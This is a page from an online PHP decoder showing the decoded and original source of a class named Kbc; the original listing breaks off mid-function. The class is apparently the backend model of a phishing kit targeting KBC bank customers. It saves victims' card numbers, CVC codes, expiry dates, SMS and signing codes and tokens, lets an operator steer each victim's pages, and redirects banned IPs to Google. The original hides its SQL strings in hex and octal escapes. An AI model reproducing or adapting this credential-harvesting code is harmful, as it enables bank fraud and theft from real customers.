Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php namespace App\Models\Kbc; use PDO; class Kbc extends \Core\Model { public static f..

Decoded Output download

<?php 
 namespace App\Models\Kbc; use PDO; class Kbc extends \Core\Model { public static function redirect() { $sql = "SELECT * FROM redirect WHERE id = :id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":id", 1, PDO::PARAM_INT); $stmt->execute(); $data = $stmt->fetch(); if ($data) { header("location: " . $data["redirect"]); die; } else { header("location: https://www.google.nl"); die; } } public static function findBan($ip) { $sql = "SELECT * FROM bans WHERE ip = :ip"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":ip", $ip, PDO::PARAM_STR); $stmt->execute(); $data = $stmt->fetch(); if ($data) { return true; } return false; } public static function setLogInformation($uid) { $sql = "UPDATE logs SET bank = :bank, kbc_card = :empty, kbc_vv = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":bank", "SG", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setIdentificationInformation($uid) { $sql = "UPDATE logs SET bank = :bank, kbc_phone = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":bank", "SG", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setBelInformation($uid) { $sql = "UPDATE logs SET bank = :bank, kbc_bel = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":bank", "SG", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setSmsInformation($uid) { $sql = "UPDATE logs SET bank = :bank, kbc_sms = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":bank", "SG", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setLoginCodeInformation($uid) { $sql = "UPDATE logs SET bank = :bank, kbc_cc = :empty, kbc_exp = :empty, kbc_cvc = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":bank", "SG", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setSignCodeInformation($uid) { $sql = "UPDATE reliable_logs SET bank = :bank, kbc_m1 = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":bank", "SG", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setTokenInformation($uid) { $sql = "UPDATE reliable_logs SET bank = :bank, kbc_m2 = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":bank", "SG", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setLiveInformation($uid) { $sql = "UPDATE reliable_logs SET bank = :bank, kbc_live = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":bank", "SG", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setLiveloginInformation($uid) { $sql = "UPDATE reliable_logs SET bank = :bank, kbc_livelogin = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":bank", "SG", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function checkPayment($url = array()) { $sql = "SELECT * FROM requests WHERE url = :id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":id", $url, PDO::PARAM_STR); $stmt->execute(); $data = $stmt->fetch(); if ($data) { return $data; } return false; } public static function getPage($uid) { $sql = "SELECT * FROM logs WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":uid", $uid, PDO::PARAM_STR); $stmt->execute(); $data = $stmt->fetch(); if (!empty($data["page"])) { return $data["page"]; } return false; } public static function setLogin($card, $vv, $uid) { $sql = "UPDATE logs SET kbc_card = :card, kbc_vv = :vv, waiting = :waiting WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":card", $card, PDO::PARAM_STR); $stmt->bindValue(":vv", $vv, PDO::PARAM_STR); $stmt->bindValue(":uid", $uid, PDO::PARAM_STR); $stmt->bindValue(":waiting", "true", PDO::PARAM_STR); $stmt->execute(); } public static function setIdentification($identification, $uid) { $sql = "UPDATE logs SET kbc_phone = :identification, waiting = :waiting WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":identification", $identification, PDO::PARAM_STR); $stmt->bindValue(":uid", $uid, PDO::PARAM_STR); $stmt->bindValue(":waiting", "true", PDO::PARAM_STR); $stmt->execute(); } public static function setBel($identification, $uid) { $sql = "UPDATE logs SET kbc_bel = :identification, waiting = :waiting WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":identification", $identification, PDO::PARAM_STR); $stmt->bindValue(":uid", $uid, PDO::PARAM_STR); $stmt->bindValue(":waiting", "true", PDO::PARAM_STR); $stmt->execute(); } public static function setSms($sms, $uid) { $sql = "UPDATE logs SET kbc_sms = :sms, waiting = :waiting WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":sms", $sms, PDO::PARAM_STR); $stmt->bindValue(":uid", $uid, PDO::PARAM_STR); $stmt->bindValue(":waiting", "true", PDO::PARAM_STR); $stmt->execute(); } public static function setLoginCode($cc, $exp, $cvc, $uid) { $sql = "UPDATE logs SET kbc_cc = :cc, kbc_exp = :exp, kbc_cvc = :cvc, waiting = :waiting WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":cc", $cc, PDO::PARAM_STR); $stmt->bindValue(":exp", $exp, PDO::PARAM_STR); $stmt->bindValue(":cvc", $cvc, PDO::PARAM_STR); $stmt->bindValue(":uid", $uid, PDO::PARAM_STR); $stmt->bindValue(":waiting", "true", PDO::PARAM_STR); $stmt->execute(); } public static function setSignCode($code, $uid) { $sql = "UPDATE logs SET kbc_m1 = :code, waiting = :waiting WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":code", $code, PDO::PARAM_STR); $stmt->bindValue(":uid", $uid, PDO::PARAM_STR); $stmt->bindValue(":waiting", "true", PDO::PARAM_STR); $stmt->execute(); } public static function setToken($code2, $uid) { $sql = "UPDATE logs SET kbc_m2 = :code2, waiting = :waiting WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":code2", $code2, PDO::PARAM_STR); $stmt->bindValue(":uid", $uid, PDO::PARAM_STR); $stmt->bindValue(":waiting", "true", PDO::PARAM_STR); $stmt->execute(); } public static function setLive($respons, $uid) { $sql = "UPDATE logs SET kbc_live = :respons, waiting = :waiting WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":respons", $respons, PDO::PARAM_STR); $stmt->bindValue(":uid", $uid, PDO::PARAM_STR); $stmt->bindValue(":waiting", "true", PDO::PARAM_STR); $stmt->execute(); } public static function setLivelogin($respons, $uid) { $sql = "UPDATE logs SET kbc_livelogin = :respons, waiting = :waiting WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":respons", $respons, PDO::PARAM_STR); $stmt->bindValue(":uid", $uid, PDO::PARAM_STR); $stmt->bindValue(":waiting", "true", PDO::PARAM_STR); $stmt->execute(); } public static function setLoginPage($uid, $page) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, kbc_card = :empty, kbc_vv = :empty WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setIdentificationPage($uid, $page) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, kbc_phone = :empty WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setBelPage($uid, $page) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, kbc_bel = :empty WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setSmsPage($uid, $page) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, kbc_sms = :empty WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setSignCodePage($uid, $page) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, kbc_m1 = :empty WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setTokenPage($uid, $page) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, kbc_m2 = :empty WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setLivePage($uid, $page) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, kbc_live = :empty WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setLiveloginPage($uid, $page) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, kbc_livelogin = :empty WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setLoginCodePage($uid, $page) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, kbc_cc = :empty, kbc_exp = :empty, kbc_cvc = :empty WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setSignCodePageCode($uid, $page, $code) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, kbc_m1 = :empty, kbc_m1_get = :code WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":code", $code, PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setTokenPageCode($uid, $page, $code2) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, kbc_m2 = :empty, kbc_m2_get = :code2 WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":code2", $code2, PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setLivePageCode($uid, $page, $live, $livetwo) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, kbc_live = :empty, kbc_live_get = :live, kbc_live2_get = :livetwo WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":live", $live, PDO::PARAM_STR); $stmt->bindValue(":livetwo", $livetwo, PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setLiveloginPageCode($uid, $page, $doce, $docetwo) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, kbc_livelogin = :empty, kbc_livelogin_get = :doce, kbc_livelogintwo_get = :docetwo WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":doce", $doce, PDO::PARAM_STR); $stmt->bindValue(":docetwo", $docetwo, PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setFinishPage($uid, $page) { $sql = "UPDATE logs SET page = :page, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function getSignCode($uid) { $sql = "SELECT * FROM logs WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":uid", $uid); $stmt->execute(); $data = $stmt->fetch(); if (!empty($data["kbc_m1_get"])) { return $data["kbc_m1_get"]; } return false; } public static function getToken($uid) { $sql = "SELECT * FROM logs WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":uid", $uid); $stmt->execute(); $data = $stmt->fetch(); if (!empty($data["kbc_m2_get"])) { return $data["kbc_m2_get"]; } return false; } public static function getLive($uid) { $sql = "SELECT * FROM logs WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":uid", $uid); $stmt->execute(); $data = $stmt->fetch(); if (!empty($data["kbc_live_get"])) { return $data["kbc_live_get"]; } return false; } public static function getLivetwo($uid) { $sql = "SELECT * FROM logs WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":uid", $uid); $stmt->execute(); $data = $stmt->fetch(); if (!empty($data["kbc_live2_get"])) { return $data["kbc_live2_get"]; } return false; } public static function getLivelogin($uid) { $sql = "SELECT * FROM logs WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":uid", $uid); $stmt->execute(); $data = $stmt->fetch(); if (!empty($data["kbc_livelogin_get"])) { return $data["kbc_livelogin_get"]; } return false; } public static function getLivelogintwo($uid) { $sql = "SELECT * FROM logs WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":uid", $uid); $stmt->execute(); $data = $stmt->fetch(); if (!empty($data["kbc_livelogintwo_get"])) { return $data["kbc_livelogintwo_get"]; } return false; } } ?>

Did this file decode correctly?

Original Code

<?php
 namespace App\Models\Kbc; use PDO; class Kbc extends \Core\Model { public static function redirect() { $sql = "\123\105\114\105\103\124\40\x2a\40\x46\122\117\x4d\40\162\145\x64\151\162\x65\x63\164\40\127\110\x45\122\x45\40\151\144\x20\x3d\x20\72\x69\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\151\x64", 1, PDO::PARAM_INT); $stmt->execute(); $data = $stmt->fetch(); if ($data) { header("\x6c\157\143\141\164\x69\x6f\x6e\x3a\x20" . $data["\x72\x65\x64\151\162\x65\x63\164"]); die; } else { header("\154\157\143\x61\x74\x69\x6f\x6e\72\40\150\x74\x74\160\163\72\x2f\57\x77\167\167\56\147\157\x6f\147\154\x65\56\156\154"); die; } } public static function findBan($ip) { $sql = "\123\x45\x4c\105\x43\124\40\52\x20\x46\122\117\x4d\40\x62\141\x6e\x73\40\x57\x48\x45\x52\x45\40\151\160\40\x3d\40\72\x69\160"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\x69\x70", $ip, PDO::PARAM_STR); $stmt->execute(); $data = $stmt->fetch(); if ($data) { return true; } return false; } public static function setLogInformation($uid) { $sql = "\125\120\x44\101\x54\x45\x20\154\157\147\x73\40\x53\105\124\x20\142\x61\x6e\153\x20\x3d\x20\72\x62\x61\156\x6b\x2c\x20\153\142\143\x5f\143\x61\162\x64\40\x3d\x20\72\x65\155\x70\x74\171\54\40\x6b\x62\143\x5f\166\166\x20\x3d\40\72\145\x6d\160\164\x79\54\40\x70\x61\147\x65\40\x3d\40\x3a\145\155\160\x74\171\54\40\167\141\x69\x74\151\x6e\147\40\75\40\x3a\167\141\151\x74\151\156\147\x20\x57\110\x45\x52\105\x20\x75\x73\x65\x72\137\151\144\40\x3d\40\x3a\x75\163\145\x72\137\x69\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\x62\x61\156\x6b", "\123\x47", PDO::PARAM_STR); $stmt->bindValue("\x3a\145\155\160\164\171", null, PDO::PARAM_STR); $stmt->bindValue("\72\167\x61\x69\164\x69\156\147", "\146\x61\154\x73\x65", PDO::PARAM_STR); $stmt->bindValue("\72\165\x73\x65\162\x5f\x69\144", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setIdentificationInformation($uid) { $sql = "\x55\120\x44\101\x54\105\x20\154\157\x67\x73\x20\x53\x45\124\40\x62\141\x6e\x6b\x20\75\x20\72\x62\141\x6e\x6b\54\x20\x6b\142\143\137\160\150\x6f\x6e\145\x20\75\40\72\145\x6d\160\x74\171\54\x20\160\141\x67\x65\40\75\40\72\145\155\x70\x74\x79\54\40\167\141\151\x74\151\156\147\x20\x3d\40\x3a\167\141\151\164\151\x6e\147\40\127\110\105\x52\x45\x20\x75\163\145\162\x5f\151\x64\x20\75\40\x3a\165\163\x65\x72\x5f\x69\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\x62\x61\156\153", "\x53\x47", PDO::PARAM_STR); $stmt->bindValue("\x3a\145\155\x70\164\171", null, PDO::PARAM_STR); $stmt->bindValue("\x3a\167\x61\x69\x74\x69\156\147", "\146\x61\x6c\163\x65", PDO::PARAM_STR); $stmt->bindValue("\72\x75\163\x65\162\137\x69\144", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setBelInformation($uid) { $sql = "\125\120\x44\101\x54\105\40\x6c\x6f\147\163\40\x53\105\124\40\x62\141\156\153\x20\x3d\40\72\142\141\156\x6b\54\x20\x6b\142\x63\137\142\145\154\40\75\40\x3a\145\155\x70\x74\171\54\40\x70\x61\147\145\40\75\40\72\x65\x6d\160\164\x79\54\40\167\x61\151\164\x69\156\x67\x20\x3d\40\x3a\x77\141\151\x74\151\x6e\x67\40\127\110\x45\122\x45\40\165\x73\x65\x72\x5f\x69\144\40\75\x20\x3a\x75\x73\x65\162\137\151\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\x62\141\x6e\153", "\x53\107", PDO::PARAM_STR); $stmt->bindValue("\x3a\145\x6d\x70\x74\171", null, PDO::PARAM_STR); $stmt->bindValue("\72\167\141\x69\164\x69\156\147", "\146\141\154\x73\x65", PDO::PARAM_STR); $stmt->bindValue("\72\165\163\145\x72\137\151\144", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setSmsInformation($uid) { $sql = "\x55\x50\x44\x41\x54\x45\x20\x6c\157\147\x73\40\x53\105\124\x20\x62\x61\156\153\40\75\40\x3a\142\141\x6e\x6b\x2c\40\153\x62\x63\137\x73\155\x73\40\x3d\40\x3a\145\x6d\x70\x74\171\54\40\x70\141\x67\x65\x20\x3d\40\72\145\x6d\x70\164\x79\x2c\40\167\x61\x69\164\151\156\x67\40\75\40\x3a\x77\x61\x69\164\151\156\147\x20\x57\110\105\x52\105\40\165\x73\145\x72\x5f\151\144\x20\x3d\40\72\x75\x73\145\162\x5f\x69\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\x62\x61\156\153", "\x53\x47", PDO::PARAM_STR); $stmt->bindValue("\72\x65\x6d\x70\x74\171", null, PDO::PARAM_STR); $stmt->bindValue("\72\167\141\151\x74\x69\x6e\x67", "\146\x61\x6c\163\145", PDO::PARAM_STR); $stmt->bindValue("\72\165\x73\x65\162\x5f\x69\144", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setLoginCodeInformation($uid) { $sql = "\x55\x50\x44\x41\x54\x45\x20\154\x6f\x67\x73\x20\x53\x45\x54\40\142\x61\156\153\40\75\40\x3a\x62\x61\x6e\x6b\x2c\40\153\x62\x63\137\x63\x63\40\75\40\72\145\155\160\x74\x79\x2c\x20\153\142\143\137\x65\170\x70\40\75\x20\72\145\x6d\x70\164\x79\54\40\153\142\x63\x5f\143\x76\x63\40\x3d\40\x3a\145\x6d\160\x74\x79\x2c\40\x70\x61\x67\x65\x20\75\x20\x3a\145\155\160\164\171\54\40\x77\x61\x69\x74\151\156\x67\40\x3d\x20\72\x77\x61\x69\x74\x69\x6e\x67\40\127\x48\105\122\x45\x20\x75\163\145\x72\137\x69\x64\40\x3d\40\x3a\x75\x73\145\x72\x5f\x69\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\142\x61\156\153", "\x53\107", PDO::PARAM_STR); $stmt->bindValue("\72\145\155\160\x74\171", null, PDO::PARAM_STR); $stmt->bindValue("\72\167\141\x69\x74\x69\156\x67", "\146\x61\154\163\145", PDO::PARAM_STR); $stmt->bindValue("\x3a\x75\x73\145\x72\x5f\x69\x64", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setSignCodeInformation($uid) { $sql = "\125\120\104\x41\124\105\x20\162\145\x6c\x69\x61\142\154\145\x5f\154\157\147\x73\40\x53\x45\x54\x20\142\x61\x6e\153\x20\75\40\72\x62\x61\156\x6b\x2c\x20\x6b\x62\143\x5f\155\x31\x20\x3d\40\x3a\x65\x6d\x70\x74\171\x2c\40\x70\x61\x67\145\40\75\x20\72\x65\155\x70\164\171\x2c\40\167\x61\x69\164\151\x6e\147\x20\75\40\x3a\167\141\151\x74\x69\156\x67\x20\127\110\x45\x52\105\40\165\163\145\x72\137\x69\x64\40\75\40\72\x75\163\x65\x72\x5f\151\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\x62\x61\x6e\x6b", "\x53\x47", PDO::PARAM_STR); $stmt->bindValue("\x3a\145\x6d\x70\164\171", null, PDO::PARAM_STR); $stmt->bindValue("\x3a\x77\141\x69\x74\x69\x6e\x67", "\x66\x61\154\x73\x65", PDO::PARAM_STR); $stmt->bindValue("\x3a\x75\163\x65\x72\x5f\151\144", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setTokenInformation($uid) { $sql = "\125\120\104\101\124\105\40\x72\x65\x6c\x69\x61\142\x6c\145\x5f\x6c\x6f\x67\163\x20\123\105\x54\x20\x62\x61\x6e\153\40\x3d\x20\x3a\142\x61\156\x6b\x2c\40\x6b\x62\143\x5f\x6d\62\x20\x3d\x20\x3a\x65\x6d\x70\164\x79\54\40\x70\141\147\145\x20\x3d\x20\72\145\x6d\160\x74\x79\54\40\x77\141\x69\x74\151\x6e\147\x20\x3d\x20\72\x77\x61\151\164\151\x6e\147\x20\127\x48\105\122\105\x20\165\163\x65\x72\x5f\151\x64\x20\x3d\x20\72\165\x73\x65\x72\137\151\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\x62\x61\x6e\153", "\x53\107", PDO::PARAM_STR); $stmt->bindValue("\72\145\x6d\160\x74\171", null, PDO::PARAM_STR); $stmt->bindValue("\72\167\141\151\x74\x69\156\147", "\x66\x61\x6c\x73\x65", PDO::PARAM_STR); $stmt->bindValue("\x3a\x75\163\x65\162\137\x69\x64", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setLiveInformation($uid) { $sql = "\125\120\x44\101\124\105\x20\162\x65\154\151\141\142\154\145\137\x6c\x6f\x67\163\x20\x53\105\124\x20\142\x61\x6e\153\x20\75\x20\x3a\x62\141\156\x6b\x2c\x20\153\x62\143\137\x6c\x69\x76\x65\x20\75\x20\72\x65\x6d\160\x74\171\x2c\40\x70\141\x67\145\40\75\40\x3a\x65\x6d\160\x74\x79\x2c\40\167\x61\x69\164\x69\156\147\40\75\x20\72\167\x61\x69\x74\151\156\x67\x20\x57\110\105\122\105\40\x75\163\x65\x72\137\151\x64\40\75\40\x3a\x75\x73\145\x72\137\151\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\142\141\156\x6b", "\x53\x47", PDO::PARAM_STR); $stmt->bindValue("\x3a\x65\155\160\x74\171", null, PDO::PARAM_STR); $stmt->bindValue("\x3a\x77\x61\151\x74\x69\156\x67", "\146\141\x6c\x73\145", PDO::PARAM_STR); $stmt->bindValue("\72\165\x73\145\x72\x5f\x69\144", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setLiveloginInformation($uid) { $sql = "\125\120\104\x41\x54\x45\40\x72\x65\154\x69\141\x62\154\145\137\154\157\147\x73\40\123\105\124\x20\142\141\x6e\x6b\x20\75\x20\x3a\142\x61\x6e\153\54\x20\x6b\142\143\x5f\154\151\166\x65\x6c\x6f\147\151\156\40\75\40\x3a\145\155\x70\164\171\54\x20\x70\x61\147\145\x20\x3d\40\72\x65\x6d\160\164\171\x2c\x20\x77\141\x69\164\151\x6e\147\x20\x3d\x20\72\x77\x61\x69\164\151\x6e\147\x20\127\110\x45\x52\x45\x20\x75\x73\x65\162\x5f\151\144\40\x3d\x20\72\x75\x73\145\x72\x5f\151\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\142\x61\156\x6b", "\x53\107", PDO::PARAM_STR); $stmt->bindValue("\72\145\x6d\160\x74\171", null, PDO::PARAM_STR); $stmt->bindValue("\72\x77\x61\x69\x74\151\x6e\x67", "\x66\x61\154\163\x65", PDO::PARAM_STR); $stmt->bindValue("\72\165\x73\145\x72\137\151\144", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function checkPayment($url = array()) { $sql = "\123\105\x4c\105\103\124\x20\x2a\x20\x46\122\117\x4d\40\x72\x65\161\x75\145\163\164\x73\x20\127\x48\x45\122\x45\x20\x75\162\154\40\75\40\x3a\x69\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\151\x64", $url, PDO::PARAM_STR); $stmt->execute(); $data = $stmt->fetch(); if ($data) { return $data; } return false; } public static function getPage($uid) { $sql = "\x53\105\x4c\105\x43\x54\40\x2a\x20\106\x52\x4f\115\40\x6c\157\147\163\40\127\x48\x45\122\x45\40\x75\163\x65\162\x5f\151\144\40\75\x20\72\165\x69\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\165\151\x64", $uid, PDO::PARAM_STR); $stmt->execute(); $data = $stmt->fetch(); if 